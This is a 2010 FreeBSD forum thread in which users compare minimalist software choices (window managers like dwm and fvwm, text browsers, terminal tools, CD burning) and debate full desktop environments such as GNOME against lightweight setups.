# Do you like minimalism ? ;)



## sk8harddiefast (May 8, 2010)

Packages with the less of depedencies or no dependencies 
More for wm's like dwm,fluxbox,blackbox,ion etc
*Window manager*
dwm (none dependencie!)
*File management*
thunar,mc
*Write cd/dvd/iso etc*
xfburn
*calculator*
galculator because you don't need to download the half gnome for a simple calc 
*Editor*
nedit,mousepad
*xterm*
rxvt-unicode
*download videos*
youtube-dl
*chat*
skype


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## psycho (May 8, 2010)

I'm actually fan of minimalism.
*Window manager*
x11-wm/fvwm2-devel
*File manager*
x11/rxvt-unicode

I think only bloated thing I have is editors/openoffice.org-3-RC but I need it because of school. we work in excel currently so I use OpenOffice CALC


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## sossego (May 8, 2010)

Depends,but, at sometimes, yeah.


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## Beastie (May 8, 2010)

sk8harddiefast said:
			
		

> *Window manager*
> dwm (none dependencie!)


Actually it has x11/dmenu, which is not so common. x11-wm/fvwm2-devel has more dependencies but they are all very common (mostly X11 libraries and fonts) and will be installed by virtually every X application out there anyway.



			
				sk8harddiefast said:
			
		

> *File management*
> thunar


I has some Xfce dependencies, but I still like it as it's one of the smallest, lighest and best FM. misc/mc is good too.



			
				sk8harddiefast said:
			
		

> *Write cd/dvd/iso etc*
> xfburn


I only use base system utilities.



			
				sk8harddiefast said:
			
		

> *calculator*
> galculator because you don't need to download the half gnome for a simple calc


Galculator is good. Python is good too for many operations.



			
				sk8harddiefast said:
			
		

> *Editor*
> nedit


editors/leafpad (it requires many dependencies, but it's really simple) and (n)vi(1).



			
				sk8harddiefast said:
			
		

> If you know packages with the less of dependencies or no dependencies please post you too


Don't you listen to music? multimedia/mplayer rocks!


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## graudeejs (May 8, 2010)

I'm all for minimalism 
x11-wm/fvwm2-devel - Window manager
x11/rxvt-unicode - file manager & terminal emulator 
shells/mksh - Very good 100% compatible shell, which beats the shit out of bash 
multimedia/mplayer with multimedia/playd2 front end, I'd use multimedia/playd, if I implement shuffle somehow :d
burncd and [sysutils]
graphics/gpciview - image viewer
graphics/epdfview and for some pdfv, graphics/xpdf - pdf viewer
burncd(8), sysutils/dvd+rw-tools and sysutils/cdrtools - making and burning cds/dvds
editors/vim -The best editor in the world. using without gui (everything in console )


about full list of my apps you can see here

Also I'm using custom minimal kernel, and next time I rebuild my system, I will use stripped FreeBSD


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## vermaden (May 8, 2010)

sk8harddiefast said:
			
		

> Do you like minimalism ?


Of course: http://vermaden.deviantart.com/art/Minimalism-56099192

*Window manager*
I use _openbox_, but _awesome_ is also very 'tiny'​
*File management*
I use _nautilus_ (yes I am lazy), but _rox-filer_ is also great and even smaller then _thunar_.​
*Write cd/dvd/iso etc*
I use _burncd.sh_ and _burndvd.sh_ scripts for that:
http://www.daemonwiki.org/howto:burning_cd_and_dvds_with_burncd​
*Calculator*
_galculator_ and/or _xcalc_​
*Editor*
_geany_ and/or _vi_​
*Terminal*
_xterm_ and/or _urxvt (rxvt-unicode)_​
*Other*
_dmenu_ for fast app launcher, _surf_ for minimal browser (from creators of _dwm_).​


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## fat64 (May 8, 2010)

shells/ksh93


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## sk8harddiefast (May 8, 2010)

Yeap.For music i use audacious & mplayer!
To edit music i use audacity!


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## john_doe (May 8, 2010)

killasmurf86 said:
			
		

> graphics/gpciview - image viewer


www/w3m-img uses gdk-pixbuf, too. So you can view images without leaving rxvt session.


			
				killasmurf86 said:
			
		

> graphics/epdfview and for some pdfv, graphics/xpdf - pdf viewer


Have you tried graphics/apvlv? It has nice vim-like interface.

And graphics/poppler-utils + www/w3m-img + sysutils/jfbterm give you a chance to view PDFs under console. No need to install Xserver.


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## kpedersen (May 8, 2010)

I love minimalism 

Window Manager = dwm
File Manager = xterm
Text Editor = vim (would have been vi if there was a visual select feature 
Web Browser = links

Everything else is in freebsd-base

Heck I even rewrote pkg_fetch (part of the portupgrade package) so that it didn't require perl etc... 

If the freebsd console (not X11) could do 1280x800 resolution, I wouldn't even need to install Xorg haha.
I would just replace dwm with tmux and be a happier person.


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## john_doe (May 8, 2010)

kpedersen said:
			
		

> If the freebsd console (not X11) could do 1280x800 resolution, I wouldn't even need to install Xorg haha.


IIRC, VESA + SC_PIXEL_MODE in kernel config should allow you to use higher resolutions. The former is available as a module, too.


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## graudeejs (May 8, 2010)

It's slow as hell


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## kpedersen (May 8, 2010)

john_doe said:
			
		

> IIRC, VESA + SC_PIXEL_MODE in kernel config should allow you to use higher resolutions. The former is available as a module, too.



Thanks for the info but ideally I do not want to recompile the kernel.
If you know of another way, let me know


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## oliverh (May 8, 2010)

killasmurf86 said:
			
		

> It's slow as hell



Nonsense, true only if you're using i386. FreeBSD 8-stable (AMD64) and a very high resolution is lightning fast. It's different code ...


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## john_doe (May 8, 2010)

Yeah, watching video (via vgl(3)) here on 3yo amd64 at 1280x1024 neither lags nor consumes CPU more than 20%. Browsing web with SVG images takes less.


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## oliverh (May 8, 2010)

john_doe said:
			
		

> Perhaps I'm doing smth wrong, but watching video here (3yo amd64) at 1280x1024 neither lags nor consumes CPU more than 20%. Browsing web with SVG images takes less. It lags when there are too many small images, w3mimgdisplay renders only one at time so on forums with many icons its better to turn them off (M-x display_image=toggle).



No there is nothing wrong, but as I said AMD64 uses different code and isn't as slow as i386.


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## graudeejs (May 8, 2010)

oliverh said:
			
		

> Nonsense, true only if you're using i386. FreeBSD 8-stable (AMD64) and a very high resolution is lightning fast. It's different code ...



Oh, ok. I'm i386 desktop user


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## sk8harddiefast (May 8, 2010)

kpedersen i agree absolutely with you!!! 
I have links me too installed on my pc.First of all is more easier from lynx!!!! 
If he could play youtube videos and see images without download them,I was using only this!!!!
Now i use opera.Is faster than mozilla,less dependencies,and i wait for the release of chromium on ports!!!!
I am waiting the day that i will make:

```
cd /usr/ports/www/chromium
make install clean
```
 
Is the best browser for me 
My screen resolution is 1920x1200 (26'' iiyama screen)
The only reason that i use X is because i cannot play a video or browse on youtube videos without X!!!
Also some apps need X to open  like vuze,acroread etc.
I just download Tmux from ports but i cannot use it 
I read man tmux but didn't help a lot.How to open 3-4 terminals and resize any of them i want?
Also it is possible to use snap font on console?
Tmux Is like dwm without the bar on top!!!!


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## Beastie (May 8, 2010)

sk8harddiefast said:
			
		

> Now i use opera.Is faster than mozilla,less dependencies


And wait for 10.5 (AKA Evenes). It'll work with both Qt and GTK+ depending on what's installed!



			
				sk8harddiefast said:
			
		

> The only reason that i use X is because i cannot play a video or browse on youtube videos without X!!!


multimedia/mplayer plays FLVs (that you can often download using www/youtube_dl). And you could try it with graphics/aalib or graphics/libcaca.



			
				sk8harddiefast said:
			
		

> Also some apps need X to open  like vuze,acroread etc.


Maybe you should ditch vuze and try net-p2p/transmission-daemon which contains transmission-remote. As for PDFs, john_doe already gave a solution.



			
				sk8harddiefast said:
			
		

> Tmux need X to run???
> Is like dwm without the bar on top!!!!


It's like dwm with the bar at the bottom. :e


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## sk8harddiefast (May 8, 2010)

I think transmission-daemon is better than vuze!!!
Is really hardcore to download every video you want to see on youtube with youtube-dl and watch it with mplayer.The only reason i use youtube-dl is to download videos and convert them to mp3 with ffmpeg 
There is also frostwire but youtube-dl is safer because i know exactly what i am downloading!


			
				sk8harddiefast said:
			
		

> And you could try it with graphics/aalib or graphics/libcaca.


That means i can see a video with mplayer without X?
Port details say this:

```
AA-lib is a low-level graphics library similar to many other libraries
except for the fact that AA-lib does not require a graphics device!  In
fact, no "graphical" output is possible.  AA-lib uses a modern, high-tech
ascii-art renderer in place of outmoded and cumbersome graphical output.
```


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## sossego (May 9, 2010)

I'm using golem and netsurf.
Logged in using slim.
There's a lag of a second or two before the G3 responds due to WITNESS being enabled.
On the other machines, minimalism is a must in certain situations:
1) Running qemu. I need what I can for the VM.
2) Graphics rendering. Ray tracing will eat up the CPU.
3) Battery saving. The laptop battery will last an hour or less if I use KDE or Gnome. Blackbox, lxde, xfce, and others cut down on battery use.
4) Limited memory. One laptop has 256M RAM and I need to get the most out of it.
5) Older or other hardware. No description needed on this one.


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## ProFTP (May 9, 2010)

live-cd Frenzy
(cd,ram disk, hdd disk)

English-Ð²ÐµÑ€ÑÐ¸Ð¸:

    *
ftp://ftp.frenzy.org.ua/pub/Frenzy/1.2-community/frenzy-1.2-reincarnation-en-release.iso (326 Mb)
    *
ftp://ftp.frenzy.org.ua/pub/Frenzy/1.2-community/frenzy-1.2-reincarnation-mini-en-release.iso (69 Mb)


screenshots

list pkg_info: http://www.x0.org.ua/blog/user/1/view/28


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## aragon (May 9, 2010)

sk8harddiefast said:
			
		

> I am waiting the day that i will make:
> 
> ```
> cd /usr/ports/www/chromium
> ...


Coming soon:

http://www.freebsd.org/cgi/query-pr.cgi?pr=146302


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## sk8harddiefast (May 10, 2010)

live-cd Frenzy?I was not knowing that there is freebsd live-cd!

I had make a try to install it from here: http://chromium.jaggeri.com/
But i didn't make it 
Also i was afraid that when chromium will released on ports an go to install it from there will conflict with this because this is in fact is a patent.
Also portupgrade will not deinstall it to install the chromium of ports because ports chromium is the first chromium so there is not "previous version" to deinstall.
Maybe i am wrong but i thought something like that.So i decided to wait


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## expl (May 10, 2010)

As long as you install any QT/GTK+ apps you are going against minimalism. See many people who setup tiled WM, bunch of terminals but then pop in opera/firefox or thunar with their QT/GTK+ tails and ruin the whole idia. If I use thunar then I dont bother with the whole "being minimal to the bone" religion and rather select my application by performance and usage comfort rather than just how much minimal it is.


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## graudeejs (May 10, 2010)

That's what I call:
*rational minimalism*


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## graudeejs (May 10, 2010)

sk8harddiefast said:
			
		

> I think transmission-daemon is better than vuze!!!
> Is really hardcore to download every video you want to see on youtube with youtube-dl and watch it with mplayer.The only reason i use youtube-dl is to download videos and convert them to mp3 with ffmpeg
> There is also frostwire but youtube-dl is safer because i know exactly what i am downloading!
> 
> ...



I use multimedia/cclive


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## sk8harddiefast (May 10, 2010)

i agree with you but is a desktop computer.for thunar the solution is mc.Ok.
But i cannot use links for browser!my eyes will be one step before sickness if i use only links!!!I have tried to use only this but only google something on links is a torture!


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## ckester (May 10, 2010)

My minimalistic tastes have me leaning mostly to textmode programs:

Window manager: x11-wm/musca
Terminal emulator: x11/roxterm
Text editor: editors/vim  (no GUI)
File manager: misc/vifm
Music: audio/mpg123 and/or audio/mcplay
Web browser: www/elinks or www/midori
RSS Feed Aggregator: news/rawdog
Image viewer: graphics/mirage
Video downloader: multimedia/cclive
Debugger: devel/cgdb
PIM: deskutils/osmo

I try to steer clear of full-on Gnome or KDE stuff, but do use several gtk2 apps.  I have a few Qt apps installed, but almost never use them; someday I'll get around to removing them so I'll have only one GUI toolkit on my machine.

I tried several terminal emulators before settling on roxterm.  I forget why.  (256-color support?)  I know there are lighter terminal emulators out there, but this one works OK for me.

I created and/or maintain some of the ports listed above. 

P.S.,
Thanks killasmurf86, for suggesting mksh.  I've been meaning to dump bash, and you've prompted me to do it now rather than later.  That will be one less pile of GNUish cruft on my machine!


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## kpedersen (May 10, 2010)

I find minimalism usually breaks with the file manager.

Thunar pulls in most of xfce and PCManFM still requires a lot of deps.

I am recoding one in Motif (as part of the OpenCDE project) but even motif isn't really classed as minimal.

So yeah, I think xterm and normal console commands / console file manager are best (most minimal) solutions in that respect.


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## sk8harddiefast (May 11, 2010)

cclive is terminal video downloader?
I think minimalist always break with browser!You can make your job only from terminal to copy,move,extract etc  files but you cannot live without a gui browser!
Thunar i think is not the best solution but still better from nautilus or other window managers with really a lot of dependencies!!!
I dont believe that there are a lot of people in the world that are 100% minimalistic and use only terminal!!!!You sould be a real freak or one the best in computing world!!!!
For file manager ok.For music ok.But you cannot write an iso on a dvd from terminal!!!you sould destroy 10000 cd's to learn you to do it!
Or i cannot imagine a guy that he creates a movie without kdenlive (example) and do it only from terminal!!!!!Or use blender from console to create a building!!!!!Some things really need gui!!!For example i use skype.Skype is a gui tool.I dont think that i could use skype without Xserver!In fact i dont think there is such option!!!!
Any terminal viewer to open images???


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## nekoexmachina (May 11, 2010)

Window manager: ion3 (probably will go xmonad)
File management: zsh  It's very useful and handy with completion stuff, dirpath, etc.
Editor: vim, it doesn't require really long fingers like emacs does, and it is very cool.
terminal: rxvt-unicode - light, with urxvtd + urxvtc bunch it starts in a moment, it has full unicode support, etc.
chat: gajim/weechat  - first is less minimalist than mcabber is, but as for me using mcabber is masochism. weechat.. well, it just rocks, still i don't use lots of it's features.
browser: vimperator - vim + firefox = love for ages
multimedia: mocp (probably will change to cmus, like it); mplayer
e-mail: mutt, it's the only one client that is not thunderbird, does not require knowledge of emacs magic and is still light (independant of gnome, kde and so on) and usable.
image-viewer: feh
also, for console when i really had to use framebuffer i've used links -g to view images. And there is a viewer called zvg.

edit: as for op-question, visually i like kde much more. But well who cares of visual things when such a 'minimalism' works better and is much more usable.


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## ckester (May 11, 2010)

sk8harddiefast said:
			
		

> cclive is terminal video downloader?



Yes



			
				sk8harddiefast said:
			
		

> I think minimalist always break with browser!You can make your job only from terminal to copy,move,extract etc  files but you cannot live without a gui browser!



Agreed.  I try to use elinks when I can, because it usually handles page layout better than the other textmode browsers. But somehow I always end up using midori instead.



			
				sk8harddiefast said:
			
		

> Thunar i think is not the best solution but still better from nautilus or other window managers with really a lot of dependencies!!!



I'm a vifm fanatic.  Lighterweight than Midnight Commander.  No built-in editor and stuff like that, but who needs it?  Vifm has an excellent, vi-like interface for launching external programs to do things with the selected files.  I use its custom command feature a lot.   

Being a textmode app, vifm also doesn't give me any cute thumbnail images.  As far as I can tell, that's the only "advantage" to using a GUI file manager like thunar.  

mcplay provides a similar vi-like frontend to mpg123, ogg123 or sox.  I don't like apps that "organize" my music files for me, that's what the filesystem is for.   I also don't need to see the album cover, lyrics or anything like that when I'm listening to tunes.  In fact, I'm usually working on a different screen than the one the music player is on.   Sound is for the ears, not the eyes!

I suppose I could forego the full-screen interface and use the shell instead of vifm and mcplay to access my files.  But I'm not that hardcore.


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## sixtydoses (May 11, 2010)

sk8harddiefast said:
			
		

> For example i use skype.Skype is a gui tool.I dont think that i could use skype without Xserver!



Well, switch to linphonec. You won't need an X server for that.

And uhmm, using links/lynx as your main web browser for daily usage is just plain masochistic.


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## Beastie (May 11, 2010)

sk8harddiefast said:
			
		

> But you cannot write an iso on a dvd from terminal!!!you sould destroy 10000 cd's to learn you to do it!


I beg to differ. No DVDs (since I have no DVD drive ) but CDs, and I only have one coaster and it's not even mine.




			
				nekoexmachina said:
			
		

> multimedia: mocp (probably will change to cmus, like it); mplayer


mocp is good, especially the ability to daemonize! I wish mplayer could do that too.




			
				ckester said:
			
		

> I try to use elinks when I can, because it usually handles page layout better than the other textmode browsers.


Totally agree. And it's one of the most usable textmode browsers.


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## graudeejs (May 11, 2010)

sk8harddiefast said:
			
		

> But you cannot write an iso on a dvd from terminal!!!you sould destroy 10000 cd's to learn you to do it!



or simply read 
http://forums.freebsd.org/showthread.php?t=1195


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## john_doe (May 11, 2010)

nekoexmachina said:
			
		

> Editor: vim, it doesn't require really long fingers like emacs does, and it is very cool.


But do you use vi-keybindings in zsh? The default ones are equal to emacs in every shell that I used (ash, bash, zsh, ksh).


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## nekoexmachina (May 11, 2010)

> But do you use vi-keybindings in zsh?


No. Of all shell-keybindings i use only ^A-^E, and that are usable for me. As for m-x c-x somecommand, i find it completely unusable and too complicated.
May be i do not know the full emacs power, but well, now i don't even want to know it, as every tryout for emacs ended for me as 'WTF am i doink it's way to hardcore for me'.


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## graudeejs (May 11, 2010)

for a long time I had no favourite calculator.
today, I was searching for next calculator to try (since I have fresh install)
and in http://purinchu.net/abakus/ I read one line, that made me want to take a closer look at bc(1)

and I have to say: I love it


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## fronclynne (May 11, 2010)

sixtydoses said:
			
		

> And uhmm, using links/lynx as your main web browser for daily usage is just plain masochistic.



When I want your opinion I'll let you beat it out of me 

But seriously, when I first started using linux &/or FreeBSD, I couldn't get X to work, so I got pretty good at figuring out how to make text-based applications work for me.  Of course, back in 1999 or so, besides frames, websites were mostly pretty simple in layout and www/lynx worked fine.  Now-a-days with all the gooble-d-gook lynx (& less-so links) is pretty limited, though it works great for reading news sites that want to load billions and billions of ads and jumping gifs and poop-ups and other such non-sense.


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## sk8harddiefast (May 12, 2010)

links is still the best text-browser for me but not for use it everyday for everything! He helped me a lot of times on console (for download dwm source) etc but i just cannot use it for everything! My eyes hurting me!
Also the most simple & easy calc is.....python!


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## sixtydoses (May 12, 2010)

fronclynne said:
			
		

> When I want your opinion I'll let you beat it out of me
> 
> But seriously, when I first started using linux &/or FreeBSD, I couldn't get X to work, so I got pretty good at figuring out how to make text-based applications work for me.  Of course, back in 1999 or so, besides frames, websites were mostly pretty simple in layout and www/lynx worked fine.  Now-a-days with all the gooble-d-gook lynx (& less-so links) is pretty limited, though it works great for reading news sites that want to load billions and billions of ads and jumping gifs and poop-ups and other such non-sense.



Ya ain't gonna like it unless you're a sadist 

I use www/lynx when I couldn't get X to work. Or at rare times when am just bored at work but I need to look busy at the same time (apparently most people think am doing my work whenever I'm fiddling with terminal. Or at least, read the man pages).


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## harishankar (May 12, 2010)

I will be honest here. I tried minimalism before, but I usually end up installing a whole horde of stuff that requires both GTK and Qt (and sometimes Gnome and KDE dependencies). I then thought, why not go the whole hog?

I do so many stuff that requires graphics, including drawing comics. It makes no sense to keep to minimal install without any GUI stuff or minimal GUI tools.

Hard disk space is cheap these days. I feel no harm in installing stuff I use regularly. Yes, I avoid too many dependencies, but when you want features, you accept a little bit of bloat.

I have moved away from KDE though and use Gnome almost exclusively these days. Gnome, I guess can be classed as light enough compared to KDE or even the Windows GUI.


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## jalla (May 12, 2010)

sixtydoses said:
			
		

> Ya ain't gonna like it unless you're a sadist



Actually that would make you a masochist, not sadist. Recommending lynx to others is sadistic.


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## sixtydoses (May 12, 2010)

jalla said:
			
		

> Actually that would make you a masochist, not sadist.





			
				sixtydoses said:
			
		

> And uhmm, using links/lynx as your main web browser for daily usage is just plain masochistic.


That's what I said 




			
				jalla said:
			
		

> Recommending lynx to others is sadistic.


Lol. Well said.


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## jailed (May 12, 2010)

(windowmaker + urxvt + vim-lite + mpg123 + firefox) rockz


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## graudeejs (May 12, 2010)

jailed said:
			
		

> (windowmaker + urxvt + vim-lite + mpg123 + firefox) rockz



I prefer vim to vim-lite.
All you need to do is add WITHOUT_X11 to make.conf and vim will be built without GUI, but it still have support for clipboard , which is defiantly good thing to have.

Another good tool, that I forgot to mention is x11/xclip, it's really handy.


About the disk space usage, It's not what makes me want to be minimalist (like the one that I am now), What I want to avoid is to start gazillion apps and daemons, for my desktop.
Currently, when I start my desktop I have only about 7-12 apps running.
I like seeing end of `$ top` (which is impossible if you use KDE)

Yes I install GTK and QT, because some apps needs it as dependency, and I even prefer QT|GTK to tk/tcl, but I don't think that this alone fact can is what make my desktop non-lightweight. In terms of speed it just flies like a rocket


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## jailed (May 12, 2010)

killasmurf86 said:
			
		

> I prefer vim to vim-lite.
> All you need to do is add WITHOUT_X11 to make.conf and vim will be built without GUI, but it still have support for clipboard , which is defiantly good thing to have.



What do you mean for clipboard with vim & vim-lite? If it solves the newline issue when set numbers on, I'm a stupid  and you're a genius. What's the exact difference?


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## Beastie (May 12, 2010)

harishankar said:
			
		

> I do so many stuff that requires graphics, including drawing comics. It makes no sense to keep to minimal install without any GUI stuff or minimal GUI tools.
> 
> [...]
> 
> I have moved away from KDE though and use Gnome almost exclusively these days. Gnome, I guess can be classed as light enough compared to KDE or even the Windows GUI.


I disagree, it makes perfect sense. Even if some applications require GNOME dependencies, it's not necessary to actually have GNOME as your desktop environment and run its heavyweight and cycle hungry eye candy tools, just to use Inkscape or GIMP or Blender. I occasionally use these applications and I still keep the graphical "backend" (the WM) as lightweight as possible and only run the bare minimum for all other applications.


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## harishankar (May 12, 2010)

Beastie said:
			
		

> I disagree, it makes perfect sense. Even if some applications require GNOME dependencies, it's not necessary to actually have GNOME as your desktop environment and run its heavyweight and cycle hungry eye candy tools, just to use Inkscape or GIMP or Blender. I occasionally use these applications and I still keep the graphical "backend" (the WM) as lightweight as possible and only run the bare minimum for all other applications.



Well Gnome still provides additional facilities like integrated ACPI power management, nice(r) anti-aliased fonts, session management, screensavers, convenient menus, notifications, auto-mounting of removable devices through HAL, desktop icons and so on. Besides since I use so many Gnome/GTK programs I prefer to run Gnome directly. Like I said, I could probably work from a minimal desktop, but why bother? I have the disk space and pulling in Gnome actually takes care of a lot of dependencies for applications that I later install.

Having said that, I think Xfce is a great compromise as well. Lighter than Gnome, reasonably featureful.

My favourite WindowManager is fluxbox though. fluxbox or fvwm2.


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## vermaden (May 12, 2010)

@harishankar



> integrated ACPI power management


What You mean by that?



> nice(r) anti-aliased fonts


Exacly the same effects can be achieved by creating ~/.gtkrc-2.0 file with your settings, example here: http://strony.toya.net.pl/~vermaden/text/dot.fonts.conf



> session management


I already have everything that I need started by ~/.xinitrc file, but maybe some people need to make it automatic as they will often left _'unfinished bussiness'_ on their desktops 



> screensavers


These can be used the same without GNOME.



> convenient menus


Explain? 



> notifications


If, for example, I would be running low on disk space? 



> auto-mounting


This can be achieved by sysutils/hald itselt or FreeBSD's amd(8) daemon, GNOME has nothing to do here.



> Besides since I use so many Gnome/GTK programs I prefer to run Gnome directly.


You do not gain anything by going that way, for example, GTK2 applications would not _'behave'_ or run faster if you will run whole desktop environment based on GTK2, but it may be the opposite in special circumstances, like running low on memory (or while doing CPU intensive tasks) then low memory footprint window manager like *openbox* will be a lot faster then *metacity* with all other GNOME _'peripherals'_.



> Like I said, I could probably work from a minimal desktop, but why bother? I have the disk space and pulling in Gnome actually takes care of a lot of dependencies for applications that I later install.


Disk space is the least important factor here (cause we also have these dependencies installed to run GTK2 apps), all these daemon/notifications/icons/automounting/anything consumes memory and CPU, but if you feel more comfortable in full desktop environment then just cut to minimum personal applications, then its ok.



> Having said that, I think Xfce is a great compromise as well. Lighter than Gnome, reasonably featureful.


As time has passed XFCE became lighter GNOME, its not all that light anymore, but LXDE on the other hand is still very light and fast.


----------



## harishankar (May 12, 2010)

I meant that things you need to set up by hand are usually configured by Gnome by default. Much as I love editing files and configuration, I still like a default approach to these things so that I can concentrate on my important work. So do I know that most of the things can be set up manually but Gnome provides the full "package" so to speak.

As for integrated ACPI management, since I use a laptop I meant that the Gnome power management can handle display turning off, indicate battery low warnings, do automatic shutdowns and so on. Again I know we can set this up by scripts or by command line directly, but I like these things to be handled by the DE.

By convenient menus, I mean the way (some) installed applications are added and removed from the Gnome menus automatically is a nice feature.

I have also used minimal desktops before and I always find myself doing too much tweaking to get it to work the way I want. It boils down to productivity for me. If I waste a few CPU cycles being more productive, I don't consider the CPU cycles wasted.


----------



## Beastie (May 12, 2010)

vermaden said:
			
		

> its not all that light anymore, but LXDE on the other hand is still very light and fast.


Of course, being in part based on Xfce but having a truckload of checks removed makes it lighter. 




			
				harishankar said:
			
		

> auto-mounting of removable devices through HAL


In my root menu I have a submenu for un/mounting devices. It includes all possible devices I can use and it runs a file manager after mounting the device. So instead of not doing anything but having the HALd horror running all the time, I click once, point to the device and release. Losing that extra calorie won't kill me.



			
				harishankar said:
			
		

> desktop icons


Who needs that? It's like those movie/comic villains who can press buttons on their desks to summon or alert their henchmen or open up a trapdoor for their unknowing rivals. 



			
				harishankar said:
			
		

> I meant that things you need to set up by hand are usually configured by Gnome by default. Much as I love editing files and configuration, I still like a default approach to these things so that I can concentrate on my important work. So do I know that most of the things can be set up manually but Gnome provides the full "package" so to speak.


I download, install and configure an entire desktop system from scratch in 3 hours at most. FreeBSD and everything that runs on top of it have never prevented me from completing my work. Keeping ~/* settings can help too.
I would never touch KDE or GNOME with a 100 mile pole.



			
				harishankar said:
			
		

> As for integrated ACPI management, since I use a laptop I meant that the Gnome power management can handle display turning off, indicate battery low warnings, do automatic shutdowns and so on. Again I know we can set this up by scripts or by command line directly, but I like these things to be handled by the DE.


So you have no problem using a huge group of applications at the expense of your memory space, CPU cycles and battery power, when you could just use fast and small scripts and resource monitors such as conky.



			
				harishankar said:
			
		

> By convenient menus, I mean the way (some) installed applications are added and removed from the Gnome menus automatically is a nice feature.


It's not every day that I install or remove applications but when I do, I open a text file (that I know very well since I wrote it myself), add or remove a single line and save the file. I would never install a DE to babysit me for such simple and easy tasks.


----------



## graudeejs (May 12, 2010)

jailed said:
			
		

> What do you mean for clipboard with vim & vim-lite? If it solves the newline issue when set numbers on, I'm a stupid  and you're a genius. What's the exact difference?



in vim-lite you can't [red]"+y[/red], [red]"*y[/red] (copy) and then paste (Ctrl+V) selected text in browser for example, and you can [red]"+p[/red], [red]"*p[/red] (paste) text copied from browser with ctr+c etc....

do you see what I mean?

open vim help and type

```
:tag 09.3
```
 and read it, if you build vim lite, you can't do this, if you build how I said you can


----------



## harishankar (May 12, 2010)

Beastie, your post is kind of offensive to me, especially the part about "babysitting". I don't need babysitting either. I just think some things that are already available aren't worth configuring by hand in my opinion.

Let us all agree that our needs and uses are different. You would never understand my choices in software and I don't pretend to know yours. I gave a fairly good explanation of why I use gnome and you've only insulted my intelligence and knowledge by repeating stuff I already know can be done without Gnome but I don't care for anyway. 

I prefer wasted computer memory and CPU cycles to waste of MY valuable time which is more precious than a piece of hardware running an OS that I use to get stuff done. As long as the system is usable and reasonably responsive I have no problem with worrying about CPU cycles.

Since I don't use FreeBSD any more anyway, I don't know why I'm posting on this thread.

Minimalism is highly overrated in software anyway. I prefer features any day.


----------



## DutchDaemon (May 12, 2010)

"I don't like minimalism" would have been shorter


----------



## harishankar (May 12, 2010)

Heh... of course. "No, I don't" would be even shorter.


----------



## ProFTP (May 12, 2010)

sk8harddiefast said:
			
		

> live-cd Frenzy?I was not knowing that there is freebsd live-cd!



all minimalism can be install in ram disk and hdd disk (or flash)


----------



## kpedersen (May 12, 2010)

When OpenCDE is ready we will get late 90's bloat...

... which is today's minimalism 

And yet I imagine the majority of us will still use late 90's (and possibly earlier) minimalism haha


----------



## Beastie (May 12, 2010)

Jeez harishankar, you're very touchy! I never meant to be offensive, even less insulting.

And BTW, more CPU cycles for every single task equals more of YOUR valuable time being wasted. And you said you use a laptop, so it also means lower battery time.


----------



## aragon (May 12, 2010)

Any opinions on LXDE?  Been meaning to try it...


----------



## DutchDaemon (May 12, 2010)

aragon said:
			
		

> Any opinions on LXDE?  Been meaning to try it...



I was about to give it a spin, expecting it not to pull in much more than I already had for XFCE, but 'make missing' made me decide otherwise ..


----------



## ProFTP (May 12, 2010)

kpedersen said:
			
		

> And yet I imagine the majority of us will still use late 90's (and possibly earlier) minimalism haha



break - this is not build...


----------



## ProFTP (May 12, 2010)

http://frenzy.org.ua/en/



> Frenzy is a "portable system administrator toolkit," LiveCD based on FreeBSD. It generally contains software for hardware tests, file system check, security check and network setup and analysis. Size of ISO-image is 200 MBytes (3" CD)





> 11.01.2010.
> Frenzy 1.2 reincarnation (community release) is out. It's based on FreeBSD 8.0 and available in 2 versions: lite and standard.
> This is a first version of Frenzy that's made not by me - author of this build is Egor Vershinin. You can read more on project's website (russian only).
> English version of this build is avaliable on our FTP (lite and standard version).


----------



## harishankar (May 13, 2010)

Beastie said:
			
		

> Jeez harishankar, you're very touchy! I never meant to be offensive, even less insulting.
> 
> And BTW, more CPU cycles for every single task equals more of YOUR valuable time being wasted. And you said you use a laptop, so it also means lower battery time.



Maybe I read your "tone" wrong and thought you were being too aggressive.

In any case, my point was that I am not overly worried about getting the most optimized performance so long as the system is reasonably productive. 

Currently on Debian/Gnome, I don't see a CPU utilization of more than 5% average and around 320 MB of RAM. I think that's acceptable for me as a whole when it comes down to performance.

In the past I actually used to keep a WM and a DE for separate logins. I used Fluxbox when I had some resource intensive stuff and KDE for normal "productivity".


----------



## nekoexmachina (May 13, 2010)

> I prefer wasted computer memory and CPU cycles to waste of MY valuable time which is more precious than a piece of hardware running an OS that I use to get stuff done.


The thing is, when minimalism is functional, it is cool. When it is not, it is masochistic. E.g., twm is for masochists, as i think, but dwm is not.


----------



## sk8harddiefast (May 13, 2010)

> I used Fluxbox when I had some resource intensive stuff and KDE for normal "productivity".


Fluxbox is ok wm. When i don't use dwm, i use fluxbox. But i really hate kde. Extremely big wm like a tanker, trillion of dependencies, to see all menu you need video wall. and comes with so much tools that the half of them you will never use them. fax, print, etc. 2-3 times i put kde on some linux distros or i use it on live cd's and had everything. even scientific programs. I don't work on cern. this stop to be functional. Also kde4 sucks. He reminds me vista. i just want a pc to run very fast and have only the 10 programs i want, all the tools i need and nothing more.


----------



## nekoexmachina (May 13, 2010)

> and comes with so much tools that the half of them you will never use them


As for me, this is better than pseudo-minimalistic DE - xfce4, where you have almost no integrated tools that do not depend on gnome-crap.
The coolest thing for any DE is that de is full-functional collection of software, that you could set up with one system settings center, not with zillions config files. This is what i theoretically like in emacs - you set up one config file for, as example, hotkeys in all of emacs apps, which contain almost anything that an average desktop user uses (browser, multimedia front-end, email client, im-client, text editor, etc).


----------



## Beastie (May 13, 2010)

nekoexmachina said:
			
		

> The thing is, when minimalism is functional, it is cool. When it is not, it is masochistic. E.g., twm is for masochists, as i think, but dwm is not.


twm *is* functional. How is it masochistic to use it if it serves your needs? I'd use it exclusively if it had a few more features such as the ability to automatically set windows' location/size when they start, to snap windows to a grid, and to create forms (dialog boxes).
A window manager must do just that: manage windows!

Besides, configuring an application by editing a text file (e.g. twm) is IMHO much less masochistic than editing the source and recompiling (e.g. dwm).


----------



## kpedersen (May 13, 2010)

For the typical user, I think it is all about balance.

I hate to say it but Windows has it pretty perfect.

1) Simple paint app (for image viewing mainly)
2) Simple text editor
3) Web Browser, inc email client
4) Terminal emulator
5) Driver management tools (wifi, battery, printer, etc...)
6) Simple media player
7) OS management tools (Disk utils, user account utils, etc...)
8) Simple calculator

This is the sort of stuff that any desktop os needs.

KDE however comes with stupid stuff like kgooglyeyes, kpotato, kedu, kmassive math programs, ksomeotherworthlesscrap.

The only fault I can give the default apps with Windows are wordpad and games.

